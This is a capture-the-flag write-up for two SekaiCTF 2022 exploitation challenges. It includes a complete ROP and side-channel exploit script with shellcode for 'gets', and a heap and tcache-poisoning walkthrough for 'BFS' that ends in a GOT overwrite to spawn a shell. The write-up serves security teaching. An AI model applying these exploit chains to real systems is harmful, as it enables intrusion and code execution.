

2022-sekai-ctf-pwn-wp

Note: writeup for `gets` and `BFS`

This ctf game meets The National Day, so I don't have enough time to play.

If you have any questions about my writeup, please email me, my email address: `ch22166@163.com`.

If images are not loaded, you can click [here](#) to download the PDF.

1 gets

- first blood
- spend `5` hours

It's a simple challenge, only do `gets` at `main` function.

All stages in summary :

- prepare ropchain data at `.bss`
- rop attack to call `mmap`, allocate an `rwX` page
- `gets(rwx_page)` and jmp to run shellcode
- leak flag by side-channel attack trick

The detail information of each stage is following.

1-1 get limited gadgets for binary

This challenge is just about `ROP` attack, but it's more complicated than other normal `ROP` challenges. Because there are not enough gadgets to use. No `csu` gadgets and only two `ppr` gadgets exist:

```
1 0x000000000040114d: pop rbp; ret;
2 0x000000000040116a: pop rdi; ret;
```

Fortunately, the magic gadget `add dword ptr [rbp - 0x3d], ebx ; nop ; ret` can be used, its opcode is `015dc3`. To find this gadget by the command: `ropper -f ./chall --opcode 015dc3`.

In fact, the magic gadget is powerful, we can change the content of the address if `rbp` and `rbx` register is controlled. And we don't need to leak any address, since the base address makes no difference for `add` operator. Now, we can control `rbp` by `pop rbp; ret`, and we need to find a gadget to control `rbx` register.

1-2 find gadgets to control rbx register

As we know, there're many glibc address left at `stack` when a function is called. So, if we do stack pivoting by `leave; ret`, move the stack to `bss` segment, call `gets` again, the glibc address will be left at `.bss`. Okay, let's do it and observe the data on stack:

```

0c:0060 0x404380 -> 0x7f2b2e0c0514 (_IO_getline_info+292) <- mov rcx, qword ptr [rsp + 8]
0d:0068 0x404388 <- 0x0
0e:0070 0x404390 -> 0x945663 <- 0x9e6ac
0f:0078 0x404398 <- 0x0
10:0080 0x4043a0 <- 0x0
11:0088 0x4043a8 <- 0x0
12:0090 0x4043b0 -> 0x404788 <- 0x6161616261616161 ('aaaabaaa')
13:0098 0x4043b8 -> 0x7f2b2e259aa0 (_IO_2_1_stdin_) <- 0xfbad2088
14:00a0 0x4043c0 -> 0x7f2b2e25a870 (stdin) -> 0x7f2b2e259aa0 (_IO_2_1_stdin_) <- 0xfbad2088
15:00a8 0x4043c8 <- 0x0
16:00b0 0x4043d0 -> 0x403d98 (__do_global_dtors_aux_fini_array_entry) -> 0x401130 (__do_global_dtors_aux) <- endbr64
17:00b8 0x4043d8 -> 0x7f2b2e2c9040 (_rtld_global) -> 0x7f2b2e2ca2e0 <- 0x0
18:00c0 0x4043e0 -> 0x7f2b2e0c06c6 (gets+294) <- mov rcx, qword ptr [r12]
19:00c8 0x4043e8 <- 0x0
1a:00d0 0x4043f0 <- 0x0
1b:00d8 0x4043f8 <- 0x0
1c:00e0 0x404400 <- 0x0
1d:00e8 0x404408 -> 0x404500 <- 0x0
1e:00f0 0x404410 -> 0x7fff5b8843e8 -> 0x7fff5b8847eb <- '/home/roderick/hack/gets/share/chall'
1f:00f8 0x404418 -> 0x40121b (main) <- push rbp
20:0100 0x404420 -> 0x40114d (__do_global_dtors_aux+29) <- pop rbp
21:0108 0x404428 -> 0x404778 <- 0x0
22:0110 0x404430 -> 0x401219 (sandbox+170) <- leave

```

to disassemble at 0x7f2b2e0c0514 (_IO_getline_info+292):

```

pwndbg> tele 0x404380
00:0000 0x404380 -> 0x7f2b2e0c0514 (_IO_getline_info+292) <- mov rcx, qword ptr [rsp + 8]
01:0008 0x404388 <- 0x0
02:0010 0x404390 -> 0x945663 <- 0x9e6ac
03:0018 0x404398 <- 0x0
04:0020 0x4043a0 <- 0x0
05:0028 0x4043a8 <- 0x0
06:0030 0x4043b0 -> 0x404788 <- 0x6161616261616161 ('aaaabaaa')
07:0038 0x4043b8 -> 0x7f2b2e259aa0 (_IO_2_1_stdin_) <- 0xfbad2088
pwndbg> x /24i 0x7f2b2e0c0514
0x7f2b2e0c0514 <__GI__IO_getline_info+292>: mov rcx,QWORD PTR [rsp+0x8]
0x7f2b2e0c0519 <__GI__IO_getline_info+297>: lea rax,[rbp+rbx*1+0x0]
0x7f2b2e0c051e <__GI__IO_getline_info+302>: mov QWORD PTR [r12+0x8],rcx
0x7f2b2e0c0523 <__GI__IO_getline_info+307>: add rsp,0x28
0x7f2b2e0c0527 <__GI__IO_getline_info+311>: pop rbx
0x7f2b2e0c0528 <__GI__IO_getline_info+312>: pop rbp
0x7f2b2e0c0529 <__GI__IO_getline_info+313>: pop r12
0x7f2b2e0c052b <__GI__IO_getline_info+315>: pop r13
0x7f2b2e0c052d <__GI__IO_getline_info+317>: pop r14
0x7f2b2e0c052f <__GI__IO_getline_info+319>: pop r15
0x7f2b2e0c0531 <__GI__IO_getline_info+321>: ret

```

Once r12 is writable, we can do stack pivot and call this gadget to control rbx register, and we're able to use magic gadget to change other libc-address left at .bss.

In above image, the layout of rop data should be:

```

1 pop rbp; ret
2 0x404378
3 leave; ret

```

And we need to put data at 0x404388 before doing stack pivot, just input by gets:

```

1 pop rdi; ret
2 0x404388
3 elf.plt.gets

```

```

R12 0x7fff09aa8838 -> 0x7fff09aa97eb ← '/home/roderick/hack/gets/share/chall'
R13 0x40121b (main) ← push rbp
R14 0x403d98 (__do_global_dtors_aux_fini_array_entry) → 0x401130 (__do_global_dtors_aux) ← endbr64
R15 0x7faabe1c3040 (_rtld_global) → 0x7faabe1c42e0 ← 0x0
*RBP 0x0
*RSP 0x404780 → 0x7faabdfba514 (<_IO_getline_info+292>) ← mov rcx, qword ptr [rsp + 8]
*RIP 0x40121a (sandbox+171) ← ret

```

```

[ DISASM ]
0x401219 <sandbox+170> leave
> 0x40121a <sandbox+171> ret <0x7faabdfba514; <_IO_getline_info+292>
↓
0x7faabdfba514 <_IO_getline_info+292> mov rcx, qword ptr [rsp + 8]
0x7faabdfba519 <_IO_getline_info+297> lea rax, [rbp + rbx]
0x7faabdfba51e <_IO_getline_info+302> mov qword ptr [r12 + 8], rcx
0x7faabdfba523 <_IO_getline_info+307> add rsp, 0x28
0x7faabdfba527 <_IO_getline_info+311> pop rbx
0x7faabdfba528 <_IO_getline_info+312> pop rbp
0x7faabdfba529 <_IO_getline_info+313> pop r12
0x7faabdfba52b <_IO_getline_info+315> pop r13
0x7faabdfba52d <_IO_getline_info+317> pop r14

```

```

[ STACK ]

```

At first, I choose to use `magic gadget` to change `0x7f2b2e0c0514 (<_IO_getline_info+292>)` to `0x7f2b2e0c0527 (<_IO_getline_info+311>)`. Because the `r12` register is not always writable.

Now, we get a gadget `pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15` in `.bss`, and we can prepare the data, then call the gadget by `leave; ret` to control `rbx/rbp` registers.

1-3 leave more glibc address at .bss

As we can control `rbx` and `rbp` register, the next stage is to do `stack pivot` again and again, to leave more glibc address at `.bss` area.

One area is used for build the final ropchain, as I find some gadgets to call `mmap(0xdead000, 0x1000, 7, 0x22, -1, 0)`.

This gadget A nearby `setcontext` is used to control argument registers:

```

0x7fb4e78e1b56 <setcontext+294>: mov rcx, QWORD PTR [rdx+0xa8]
0x7fb4e78e1b5d <setcontext+301>: push rcx
0x7fb4e78e1b5e <setcontext+302>: mov rsi, QWORD PTR [rdx+0x70]
0x7fb4e78e1b62 <setcontext+306>: mov rdi, QWORD PTR [rdx+0x68]
0x7fb4e78e1b66 <setcontext+310>: mov rcx, QWORD PTR [rdx+0x98]
0x7fb4e78e1b6d <setcontext+317>: mov r8, QWORD PTR [rdx+0x28]
0x7fb4e78e1b71 <setcontext+321>: mov r9, QWORD PTR [rdx+0x30]
0x7fb4e78e1b75 <setcontext+325>: mov rdx, QWORD PTR [rdx+0x88]
0x7fb4e78e1b7c <setcontext+332>: xor eax, eax
0x7fb4e78e1b7e <setcontext+334>: ret

```

This gadget B is used to control `rdx` register:

```

pwndbg> libc
libc : 0x7fb4e788e000
pwndbg> x /3i 0x90529+0x7fb4e788e000
0x7fb4e791e529 <dlopen_doit+105>: pop rdx
0x7fb4e791e52a <dlopen_doit+106>: pop rbx
0x7fb4e791e52b <dlopen_doit+107>: ret
pwndbg>

```

Another area is used to call `gets` and input data:

```

pwndbg> tele 0x404a18 30
00:0000 | rsp 0x404a18 → 0x40116a (gadgets+4) ← pop rdi
01:0008 | 0x404a20 → 0x404788 ← 0x9e6ac
02:0010 | 0x404a28 → 0x401060 (gets@plt) ← jmp qword ptr [rip + 0x2f6a]
03:0018 | 0x404a30 → 0x40114d (__do_global_dtors_aux+29) ← pop rbp
04:0020 | 0x404a38 → 0x404778 ← 0x0
05:0028 | 0x404a40 → 0x401219 (sandbox+170) ← leave
06:0030 | 0x404a48 → 0x40116a (gadgets+4) ← pop rdi
07:0038 | 0x404a50 → 0x404788 ← 0x9e6ac
08:0040 | 0x404a58 → 0x401060 (gets@plt) ← jmp qword ptr [rip + 0x2f6a]
09:0048 | 0x404a60 → 0x40114d (__do_global_dtors_aux+29) ← pop rbp
0a:0050 | 0x404a68 → 0x404778 ← 0x0
0b:0058 | 0x404a70 → 0x401219 (sandbox+170) ← leave
0c:0060 | 0x404a78 → 0x40116a (gadgets+4) ← pop rdi
0d:0068 | 0x404a80 → 0x4043c0 → 0x7fb4e7aa8870 (stdin) → 0x7fb4e7aa7aa0 (_IO_2_1_stdin_)
0e:0070 | 0x404a88 → 0x401060 (gets@plt) ← jmp qword ptr [rip + 0x2f6a]
0f:0078 | 0x404a90 → 0x40116a (gadgets+4) ← pop rdi
10:0080 | 0x404a98 → 0x4043e8 ← 0x0
11:0088 | 0x404aa0 → 0x401060 (gets@plt) ← jmp qword ptr [rip + 0x2f6a]
12:0090 | 0x404aa8 → 0x40116a (gadgets+4) ← pop rdi
13:0098 | 0x404ab0 → 0x404388 ← 0x0
14:00a0 | 0x404ab8 → 0x401060 (gets@plt) ← jmp qword ptr [rip + 0x2f6a]
15:00a8 | 0x404ac0 → 0x40114d (__do_global_dtors_aux+29) ← pop rbp
16:00b0 | 0x404ac8 → 0x4043b0 → 0x404788 ← 0x9e6ac
17:00b8 | 0x404ad0 → 0x401219 (sandbox+170) ← leave
18:00c0 | 0x404ad8 ← 0x0

```

1-4 construct the final ropchain

If we want to modify the content of a glibc address left at `bss` segment, the steps are:

- input data by calling `get(address)`, prepare data for `rbx` and `rbp`
- `leave; ret` and call `pop rbx; pop rbx; ... ret`
- `magic gadget` to change the content of target address
- `leave; ret` to the specific area and do other things

The layout of final ropchain should be like:

```

pwndbg> tele 0x404780 20
00:0000 | 0x404780 → 0x7fb4e790e514 (_IO_getline_info+292) ← mov rcx, qword ptr [rsp + 8] mmap64
01:0008 | 0x404788 ← 0x0
02:0010 | 0x404790 → 0x18b9312 ← 0x6161616261616161 ('aaaabaaa')
03:0018 | 0x404798 ← 0x0
04:0020 | 0x4047a0 ← 0x0
05:0028 | 0x4047a8 ← 0x0
06:0030 | 0x4047b0 → 0x404400 → 0x404500 ← 0x0 gadget B
07:0038 | 0x4047b8 → 0x7fb4e7aa7aa0 (_IO_2_1_stdin_) ← 0xfbad2088
08:0040 | 0x4047c0 → 0x7fb4e7aa8870 (stdin) → 0x7fb4e7aa7aa0 (_IO_2_1_stdin_) ← 0xfbad2088
09:0048 | 0x4047c8 ← 0x0
0a:0050 | 0x4047d0 → 0x403d98 (__do_global_dtors_aux_fini_array_entry) → 0x401130 (__do_global_dtors_aux) ← endbr64
0b:0058 | 0x4047d8 → 0x7fb4e7b17040 (_rtld_global) → 0x7fb4e7b182e0 ← 0x0
0c:0060 | 0x4047e0 → 0x7fb4e790e6c6 (gets+294) ← mov rcx, qword ptr [r12] gadget A
0d:0068 | 0x4047e8 ← 0x0
0e:0070 | 0x4047f0 ← 0x0
0f:0078 | 0x4047f8 ← 0x0
10:0080 | 0x404800 ← 0x0
11:0088 | 0x404808 → 0x404b00 ← 0x0
12:0090 | 0x404810 → 0x7ffe047288c8 → 0x7ffe047297eb ← '/home/roderick/hack/gets/share/chall'
13:0098 | 0x404818 → 0x40121b (main) ← push rbp
pwndbg>

```

Control `rdx` register by gadget B, then the arguments registers can be controlled by gadget A, then do `stack pivot` to call `mmap64`. Finally, call `gets` to put `shellcode` at `rwX` mapping memory.

After doing `rop` again and again and again, we get the layout:


```

[ DISASM ]
0x401219 <sandbox+170> leave
0x40121a <sandbox+171> ret
↓
▶ 0x7f157223e529 <dlmopen_doit+105> pop rdx
0x7f157223e52a <dlmopen_doit+106> pop rbx
0x7f157223e52b <dlmopen_doit+107> ret
↓
0x40101a <_init+26> ret
↓
0x40101a <_init+26> ret
↓
0x7f1572201b56 <setcontext+294> mov rcx, qword ptr [rdx + 0xa8]
0x7f1572201b5d <setcontext+301> push rcx
0x7f1572201b5e <setcontext+302> mov rsi, qword ptr [rdx + 0x70]
0x7f1572201b62 <setcontext+306> mov rdi, qword ptr [rdx + 0x68]

pwndbg> tele 0x404380 34
00:0000 0x404380 → 0x7f15722ccb0 (mmap64) ← endbr64 → mmap64
01:0008 rax 0x404388 → 0x40116a (gadgets+4) ← pop rdi
02:0010 0x404390 ← 0xdead000
03:0018 0x404398 → 0x401060 (gets@plt) ← jmp qword ptr [rip + 0x2f6a]
04:0020 0x4043a0 ← 0xdead000
05:0028 0x4043a8 ← 0x0
06:0030 0x4043b0 → 0x404788 ← 0xffffffffffffd3490
07:0038 0x4043b8 → 0x7f157223e529 (dlmopen_doit+105) ← pop rdx → gadget B
08:0040 rsp 0x4043c0 → 0x4043e0 → 0x7f1572201b56 (setcontext+294) ← mov rcx, qword ptr [rdx + 0xa8]
09:0048 0x4043c8 → 0x4043e0 → 0x7f1572201b56 (setcontext+294) ← mov rcx, qword ptr [rdx + 0xa8]
0a:0050 0x4043d0 → 0x40101a (_init+26) ← ret
0b:0058 0x4043d8 → 0x40101a (_init+26) ← ret
0c:0060 0x4043e0 → 0x7f1572201b56 (setcontext+294) ← mov rcx, qword ptr [rdx + 0xa8]
0d:0068 0x4043e8 → 0x40114d (__do_global_dtors_aux+29) ← pop rbp → gadget A
0e:0070 0x4043f0 → 0x404378 ← 0x0
0f:0078 0x4043f8 → 0x401219 (sandbox+170) ← leave
10:0080 0x404400 ← 0x6161616861616167 ('gaaahaa')
11:0088 0x404408 ← 0xffffffffffffffff
12:0090 0x404410 ← 0x0
13:0098 0x404418 ← 'maanaaaapaaaqaaaraaasaaataaaauaaavaaaawaaaxaaa'
14:00a0 0x404420 ← 'oaaapaaaqaaaraaasaaataaaauaaavaaaawaaaxaaa'
15:00a8 0x404428 ← 'qaaaraaasaaataaaauaaavaaaawaaaxaaa'
16:00b0 0x404430 ← 'saaataaaauaaavaaaawaaaxaaa'
17:00b8 0x404438 ← 'uaavaaaawaaaxaaa'
18:00c0 0x404440 ← 'waaaxaaa'
19:00c8 0x404448 ← 0xdead000
1a:00d0 0x404450 ← 0x1000
1b:00d8 0x404458 ← 0x6261616562616164 ('daabeaab')
1c:00e0 0x404460 ← 0x6261616762616166 ('faabgaab')
1d:00e8 0x404468 ← 0x7
1e:00f0 0x404470 ← 'jaabkaab"'
1f:00f8 0x404478 ← 0x22 /* "" */

```

1-5 leak flag by side-channel attack

Only `read/open/mmap` are allowed.

```

roderick@e3fc309fb85b:~/hack/gets/share$ seccomp-tools dump ./chall
a
line CODE JT JF K
=====
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0008
0007: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

```

Leak the content of flag.txt by side-channel attack, the steps:

- open flag.txt
- read flag.txt
- compare flag.txt byte by byte
- wait for read if we guess right, otherwise kill the problem

Therefore, the shellcode is:

```
1 sc = ""
2 push 0x1010101 ^ 0x747874
3 xor dword ptr [rsp], 0x1010101
4 mov rax, 0x2e67616c662f7265
5 push rax
6 mov rax, 0x73752f656d6f682f
7 push rax
8 push rsp
9 pop rdi
10 xor esi, esi
11 xor edx, edx
12 mov rax, 2 /* open flag.txt*/
13 syscall
14 mov rdi, rax
15 mov rsi, rsp
16 mov rdx, 0x60
17 mov rax, 0
18 syscall
19 cmp byte ptr [rsi + {}], {}
20 jnz $+14
21 nop
22 nop
23 xor edi, edi
24 xor edx, edx
25 mov dl, 0xf0
26 xor eax, eax
27 syscall
28 mov rax, 60
29 syscall
30 """.format(index, guess_chr)
```

The format of flag is `SEKAI\{[A-Z_]+\}`, so index starts at `6`.

1-6 EXP

`exp.py`:

```
1 #!/usr/bin/env python3
2 # Date: 2022-10-01 20:48:27
3 # Link: https://github.com/RoderickChan/pwncli
4 # Usage:
5 #     Debug Cmd: python3 exp.py -E "6,84" debug ./chall -t -b 0x401219
6
7 from pwncli import *
8 cli_script()
9
10 context.arch = "amd64"
11
12 io: tube = gift.io
13
14 bss_start = 0x404000
15 fake_rbp1 = bss_start + 0x800
16 fake_rbp2 = bss_start + 0x400
17
18 # 0x000000000040114c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
19 pop_rdi_ret = 0x40116a
20 puts_plt = 0x401060
21 pop_rbp_ret = 0x40114d
```

```

22 leave_ret = 0x401219
23 ret = 0x40101a
24 magic_gadget = 0x40114c
25
26 # stack pivot and call gets to leave glibc address on bss
27 data = flat({
28     40: [
29         pop_rdi_ret,
30         fake_rbp1,
31         puts_plt,
32         pop_rbp_ret,
33         fake_rbp1,
34         leave_ret
35     ]
36 })
37 sl(data)
38
39 # stack pivot and call gets again
40 data = flat([
41     fake_rbp1 + 0x300,
42     pop_rdi_ret,
43     fake_rbp2,
44     puts_plt,
45     pop_rbp_ret,
46     fake_rbp2,
47     leave_ret
48 ])
49
50 sl(data)
51
52 target_addr1 = fake_rbp1 - 0x80 # pop rbx; pop rbp, r12 13 14 15
53 target_addr2 = fake_rbp2 - 0x20 # mov rcx, [rdx+0A8h]
54 target_addr3 = fake_rbp2 - 0x80+0x38 # 0x90529: pop rdx; pop rbx; ret;
55 target_addr4 = fake_rbp2 - 0x80 # mmap
56 data = flat([
57     fake_rbp2 + 0x100,
58     pop_rdi_ret,
59     target_addr1 + 8,
60     puts_plt,
61     pop_rbp_ret,
62     target_addr1-8,
63     leave_ret
64 ])
65
66 sl(data)
67
68
69 # 0x8f4e4: mov rax, qword ptr [rdi + 0x68]; ret;
70 # first time to call magic gadget
71 data = flat({
72     40: [
73         0x13,
74         target_addr1+0x3d,
75         0, 0, 0, 0,
76         magic_gadget,
77         [ret] * 0x40,
78         [
79             pop_rdi_ret,
80             target_addr1 + 8,
81             puts_plt,

```

```

82     pop_rbp_ret,
83     target_addr1-8,
84     leave_ret] * 3,
85     [
86     pop_rdi_ret,
87     target_addr3 + 8,
88     puts_plt,
89     pop_rdi_ret,
90     target_addr2 + 8,
91     puts_plt,
92     pop_rdi_ret,
93     target_addr4 + 8,
94     puts_plt,
95     pop_rbp_ret,
96     target_addr3-8,
97     leave_ret
98     ]
99
100 ]
101 })
102 sl(data)
103
104 # 11EBC0 : mmap64
105 data = flat([
106     0x11EBC0 - 0x80514 ,
107     target_addr4+0x3d,
108     0, 0, 0, 0,
109     magic_gadget,
110     pop_rbp_ret,
111     0x404a10,
112     leave_ret
113     ]
114 )
115 sl(data)
116
117 # 0x90529: pop rdx; pop rbx; ret;
118 data = flat([
119     0x90529 - 0x219aa0 + 0x100000000,
120     target_addr3+0x3d,
121     0, 0, 0, 0,
122     magic_gadget,
123     pop_rbp_ret,
124     0x404a10+0x30,
125     leave_ret
126     ]
127 )
128 sl(data)
129
130 # 0x53b56: setcontext+XXX
131 data = flat([
132     0x53B56 - 0x806c6,
133     target_addr2+0x3d,
134     0, 0, 0, 0,
135     magic_gadget,
136     pop_rbp_ret,
137     0x404a10+0x30 * 2,
138     leave_ret
139     ]
140 )
141 sl(data)

```



```

142
143
144 sl(p64(target_addr2)*2 + p64(ret) * 0x1 + p64(ret)[:6])
145
146
147 # mmap(0xdead000, 0x1000, 7, 0x22, -1, 0)
148 sl(flat({
149     0: pop_rbp_ret,
150     8: target_addr4-8,
151     0x10: leave_ret,
152     0xa8-8: ret, # rcx
153     0x70-8: 0x1000, # rsi
154     0x68-8: 0xdead000, # rdi
155     0x88-8: 7, # rdx
156     0x98-8: 0x22, # rcx
157     0x28-8: p64(0xffffffffffffffff), # r8
158     0x30-8: 0, # r9
159 }))
160
161 # read and jump to run shellcode
162 sl(flat([
163     pop_rdi_ret,
164     0xdead000,
165     puts_plt,
166     0xdead000
167 ]))
168
169 other_argv:str = gift['extra_argv']
170 index, guess_chr = other_argv.strip().split(",")
171 sc = ""
172 push 0x1010101 ^ 0x747874
173 xor dword ptr [rsp], 0x1010101
174 mov rax, 0x2e67616c662f7265
175 push rax
176 mov rax, 0x73752f656d6f682f
177 push rax
178 push rsp
179 pop rdi
180 xor esi, esi
181 xor edx, edx
182 mov rax, 2 /* open flag.txt*/
183 syscall
184 mov rdi, rax
185 mov rsi, rsp
186 mov rdx, 0x60
187 mov rax, 0
188 syscall
189 cmp byte ptr [rsi + {}], {}
190 jnz $+14
191 nop
192 nop
193 xor edi, edi
194 xor edx, edx
195 mov dl, 0xf0
196 xor eax, eax
197 syscall
198 mov rax, 60
199 syscall
200 """.format(index, guess_chr)
201

```


2 BFS

- second blood
- spend 3.5 hours

This challenge is about `C++ std::queue`. As long as you understand the mechanism of `queue`, you can solve the task quickly.

All steps in summary:

- heap fengshui using `std:queue` pop and push
- leak heap address by `parent` array overflow
- tcachebin poisoning to allocate at `.bss` and to modify `adj_matrix`
- change the content of `got.plt` and call `system("/bin/sh")` when the program exits

2-1 analysis of program

As the source code is given, I will analyze the program based on that. It's BSF algorithm to find the short path in an undirected graph. The edge has no direction because it's adjacent matrix is symmetric.

I write my analysis on comment.

```
1 #include<vector>
2 #include<queue>
3 #include<utility>
4 #include<string>
5 #include<iostream>
6 #include <unistd.h>
7 #include <signal.h>
8
9 #define MAX_NUMBER_OF_NODES 256
10
11 std::queue<uint8_t> q;
12 uint8_t *vis = new uint8_t[MAX_NUMBER_OF_NODES];
13 uint8_t *parent = new uint8_t[MAX_NUMBER_OF_NODES];
14 uint8_t *adj_matrix = new uint8_t[MAX_NUMBER_OF_NODES*MAX_NUMBER_OF_NODES];
15
16 void sig_alarm_handler(int signum) {
17     std::cout << "Connect Timeout" << std::endl ;
18     exit(1);
19 }
20
21 void init() {
22     setvbuf(stdout,0,2,0);
23     signal(SIGALRM,sig_alarm_handler);
24     alarm(120);
25 }
26
27 void bfs(uint from, uint dest, uint as ) {
28     uint tmp = 0;
29     parent[from] = from; // root node of a path, whose parent node is itself → overflow3
30     q.push(from);
31     vis[from] = 1; // → overflow4
32     while(!q.empty()) {
33         tmp = q.front();
34         q.pop();
35         for (int i = 0; i < n; i++) {
36             if(adj_matrix[tmp*MAX_NUMBER_OF_NODES + i] ≠ 0 && vis[i] ≠ 1) {
37                 vis[i] = 1;
38                 parent[i] = tmp;
39                 q.push(i);
```

```

40         if (i == dest)
41             return; // return, the nodes in the queue are not released
42     }
43 }
44 }
45 return;
46 }
47
48 int main(int argc, char const *argv[])
49 {
50     init();
51     std::string choice;
52     uint q, n, k;
53     uint from, dest, crawl;
54     std::cin >> q;
55     for (uint l = 0; l < q; l++) // input times for running
56     {
57         std::cin >> n >> k; // number of nodes and edges
58         if(n > MAX_NUMBER_OF_NODES) {
59             exit(0);
60         }
61         for (size_t i = 0; i < n; i++)
62             for (size_t j = 0; j < n; j++)
63                 adj_matrix[i*MAX_NUMBER_OF_NODES + j] = 0; // adjacent matrix initial
64         for (size_t i = 0; i < n; i++)
65             vis[i] = 0; // visited matrix initial
66         for (size_t i = 0; i < k; i++)
67         {
68             std::cin >> from >> dest; // input for adjacent matrix → overflow1
69             adj_matrix[from*MAX_NUMBER_OF_NODES + dest]++;
70             adj_matrix[dest*MAX_NUMBER_OF_NODES + from]++;
71         }
72         std::cin >> from >> dest; // from node and dest node
73         bfs(from, dest, n);
74         crawl = dest;
75         std::cout << "Testcase #" << l << ": ";
76         while(parent[crawl] ≠ crawl) { // find path and print the path → overflow2
77             std::cout << crawl << " ";
78             crawl = parent[crawl];
79         }
80         std::cout << crawl << std::endl;
81     }
82     return 0;
83 }

```

It's obvious that the vulnerability of this program is that `from` and `dest` are not checked, and we can input large number to cause overflow.

There're two vulns for read and write:

Write: At `overflow2` I labeled, one byte is leaked.

Read: At `overflow1`, we can change the content of the address without leaking, like using a `add` gadgets.

The type of these two variables is `uint`, as we can overflow to read and write data at higher address, but cannot read/write lower address.

The layout of heap in this program after initial:

```
1 low address --> queue
2         vis
3         parent
4 high address--> adj_matrix
```

In order to leak and write useful data, we need to allocate chunks after `adj_matrix`. So how to trigger `malloc` and `free`, the answer is in `std::queue`.

2-2 mechanism of `std::queue`

I also don't know the mechanism of `std::queue` when I started to solve the task, so I write a test program to trace the chunk operations when `std::queue` is used.

```
1
2 #include <iostream>
3 #include <queue>
4 using namespace std;
5
6 std::queue<uint8_t> global_q;
7 int main()
8 {
9     setvbuf(stdout,0,2,0);
10    setvbuf(stdin,0,2,0);
11    puts("push push!!!");
12    for (size_t i = 0; i < 256; i++)
13    {
14        global_q.push(i);
15        // printf("push %d\n", i);
16    }
17
18    puts("push push!!!");
19    for (size_t i = 0; i < 256; i++)
20    {
21        global_q.push(i);
22        // printf("push %d\n", i);
23    }
24
25    puts("pop pop!!!");
26    for (size_t i = 0; i < 256; i++)
27    {
28        global_q.pop();
29    }
30    puts("pop pop!!!");
31    for (size_t i = 0; i < 256; i++)
32    {
33        global_q.pop();
34    }
35
36    puts("push push!!!");
37    for (size_t i = 0; i < 256; i++)
38    {
39        global_q.push(i);
40        // printf("push %d\n", i);
41    }
42
43    puts("push push!!!");
44    for (size_t i = 0; i < 256; i++)
45    {
```



```

46     global_q.push(i);
47     // printf("push %d\n", i);
48 }
49
50 puts("pop pop!!!");
51 for (size_t i = 0; i < 256; i++)
52 {
53     global_q.pop();
54 }
55 puts("pop pop!!!");
56 for (size_t i = 0; i < 256; i++)
57 {
58     global_q.pop();
59 }
60
61 puts("end end!!!");
62 return 0;
63 }

```

Compile the file and use [Arinerron/heaptrace](https://github.com/Arinerron/heaptrace): helps visualize heap operations for pwn and debugging (github.com) to analyze.

```

$ g++ ./test.cpp -o test -g && heaptrace ./test
===== BEGIN HEAPTRACE =====
Attempting to identify function signatures in /usr/lib/x86_64-linux-gnu/libc-2.31.so...
* found malloc at 0x9a0e0.
* found free at 0x9a6d0.
* found calloc at 0x9bb10.
* found realloc at 0x9aa70.
heaptrace warning: Binary appears to be stripped or does not use the glibc heap; heaptrace was not able to resolve any symbols. Please spe

    heaptrace --symbols 'malloc=libc+0x100,free=libc+0x200,realloc=bin+123' ./binary

See the help guide at https://github.com/Arinerron/heaptrace/wiki/Dealing-with-a-Stripped-Binary
=====
... #1: malloc(0x40)                = 0x55555556ceb0
... #2: malloc(0x200)              = 0x55555556cf00
push push!!!
push push!!!
... #3: malloc(0x200)              = 0x55555556d110
pop pop!!!
pop pop!!!
... #4: free(#2)                   (#2=0x55555556cf00)
push push!!!
push push!!!
... #5: malloc(0x200)              = 0x55555556cf00
pop pop!!!
pop pop!!!
... #6: free(#3)                   (#3=0x55555556d110)
end end!!!
... #7: free(#5)                   (#5=0x55555556cf00)
... #8: free(#1)                   (#1=0x55555556ceb0)
===== END HEAPTRACE =====
Statistics:
... mallocs count: 4
... frees count: 4

```

In the initial stage, `std::queue<uint_8>` allocate two chunks, the size is `0x50` and `0x210`.

After pushing `0x200` items, `malloc(0x200)` is triggered.

After popping `0x200` items, the initial chunk is released.

In a word, we can allocate chunk by `queue.push` and free chunk by `queue.pop`.

2-4 malloc and free chunks using `std::queue`

Look at the function `bfs`:

```

1 void bfs(uint from, uint dest, uint n ) {
2     uint tmp = 0;
3     parent[from] = from; // root node of a path, whose parent node is itself → overflow3
4     q.push(from);
5     vis[from] = 1; // → overflow4
6     while(!q.empty()) {
7         tmp = q.front();

```

```

8     q.pop();
9     for (int i = 0; i < n; i++) {
10        if(adj_matrix[tmp*MAX_NUMBER_OF_NODES + i] != 0 && vis[i] != 1) {
11            vis[i] = 1;
12            parent[i] = tmp;
13            q.push(i);
14            if (i == dest)
15                return; // return, the nodes in the queue are not released
16        }
17    }
18 }
19 return;
20 }

```

On the one hand, we can push items in the for loop, and let it return, so the queue will not be cleared. Let node `X` connects to all other nodes, and input `from=X`, `dest=255`, then in `bfs`, `255` items are added in the queue and it will return because node `X` is connected to node `255`.

The snippet to trigger malloc:

```

1 def push_nodes(from_=0, num=256):
2     sl(f"{num} {num-1}")
3     for i in range(num):
4         if i == from_:
5             continue
6         sl(f"{from_} {i}")
7
8     sl(f"{from_} {num-1}")
9     ru("Testcase #")
10
11 push_nodes()

```

On the other hand, we can specify `n = 0`, then the queue is cleared and trigger free chunks.

2-5 leak heap address and hijack tcache->next

We have to pass safe linking in tcache bins. After controlling the allocation of chunks by `std:queue`, put one chunk in tcache bins and leak heap address by `parent` overflow. Then, put two chunks at tcache bins and modify the `tcache->next` by `adj_matrix` overflow. Now we can allocate at arbitrary address.

I choose to allocate at `0x4073e0`, the address of `adj_matrix`, and makes `adj_matrix` be zero.

2-6 calculate the appropriate i and j for adj_matrix

Now the `adj_matrix` is `0`, the problem is how to change the content of target address by `adj_matrix` overflow. It's just a basic quadratic equation.

```

1 256 * i + j = t1 (1)
2 i + 256 * j = t2 (2)

```

As we know the address of heap area, let `t1 = got.plt address` and `t2 = heap address`. When `j` increases `1`, the `equation (2)` would increase `256`, the heap area is large enough and `t2 + 256 * X` is always writable.

